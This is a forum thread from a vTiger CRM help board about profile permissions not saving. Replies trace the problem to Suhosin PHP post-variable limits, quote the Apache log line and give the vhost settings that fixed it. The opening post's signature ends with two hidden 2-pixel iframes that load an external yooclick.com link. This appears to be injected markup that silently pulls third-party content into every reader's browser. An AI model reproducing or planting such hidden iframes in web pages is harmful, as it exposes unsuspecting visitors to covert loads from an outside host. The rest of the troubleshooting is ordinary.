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profile privileges doesn't save/update for some modules

enixdqenixdq
edited March 2011 in Help - 5.0.4 Vote Up0Vote Down
Hi,

We have vTiger 5.0.4 installed and Mandriva 2007.1 and mysql 5.0.37. The strange problem below happen when we want to update profiles:

Changing permission (credit/edit, view, delete) for any modules listed above "products" window saves with no problem. But any permission changes to modules below are not saved. This happens when modifying the default sales profile, as well as new profiles that we create. (please see attached image).

Some other special symptoms: For sales profile, only the global check box for "products" gets saved. For new profiles, the "create/edit" check box also gets saved. Also, clicking on "view all" or "create/edit all" will still do what they are supposed to do and allow any users associated with that profile to view or create/edit.

I've turned on database debugging and log4php to the DEBUG level, but can't see anything obviously wrong. The database call for updateprofile seems to have completed properly.

Really appreciate any help that can help us diagnose/solve this problem. I am hoping we won't have to reinstall and have to restore all the data.

Thanks,

Jerry <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 7 Comments sorted by Votes Date Added
  • zorzyzorzy
    Vote Up0Vote Down
    hi,

    any luck, same problem here......

    thanx, g
  • enixdqenixdq
    Vote Up0Vote Down
    g,

    never got it to work with mandriva. we migrated our server to ubuntu - simply migrated the whole database + copied the vtiger installation direction, and now it's working perfectly.

    hope this was helpful.

    jerry
  • zorzyzorzy
    Vote Up0Vote Down
    hi,

    after a week of struggle with vtiger we found problem in security setting in suhosin for php.

    changing some parameters in vhost solved the problem!

    php_admin_value suhosin.request.max_vars 500
    php_admin_value suhosin.post.max_vars 500


    now everything works nice....

    gregor
  • zorzyzorzy
    Vote Up0Vote Down
    this is a couse of problem that we found in apache log.......

    [mon jan 19 22:45:23 2009] [error] [client xxx.xxx.xxx.xxx] alert - configured post variable limit exceeded - dropped variable '18_tab' (attacker 'xxx.xxx.xxx.xxx', file '/var/www/vtigercrm5/index.php'), referer: <!-- m --><a class="postlink" href="http://our.site.com/index.php?action=profileprivileges&module=settings&mode=view&parenttab=">http://our.site.com/index.php?action=pr ... parenttab=</a><!-- m -->
  • magnusmagnus
    Vote Up0Vote Down
    i can confirm this fix. thanks a lot! this php-config requirement should preferably be checked in the installation process.

    /magnus
    "zorzy&quot wrote:
    hi,

    after a week of struggle with vtiger we found problem in security setting in suhosin for php.

    changing some parameters in vhost solved the problem!

    php_admin_value suhosin.request.max_vars 500
    php_admin_value suhosin.post.max_vars 500


    now everything works nice....

    gregor
  • secondcrmsecondcrm
    Vote Up0Vote Down
    the issue we are facing is some what similar. when we save any new profile now it saves it as defualt view all/edit all. even if i check delete still when it saves in db it show up as unchecked. it is not php setting something only to with profile setting.

    any help??
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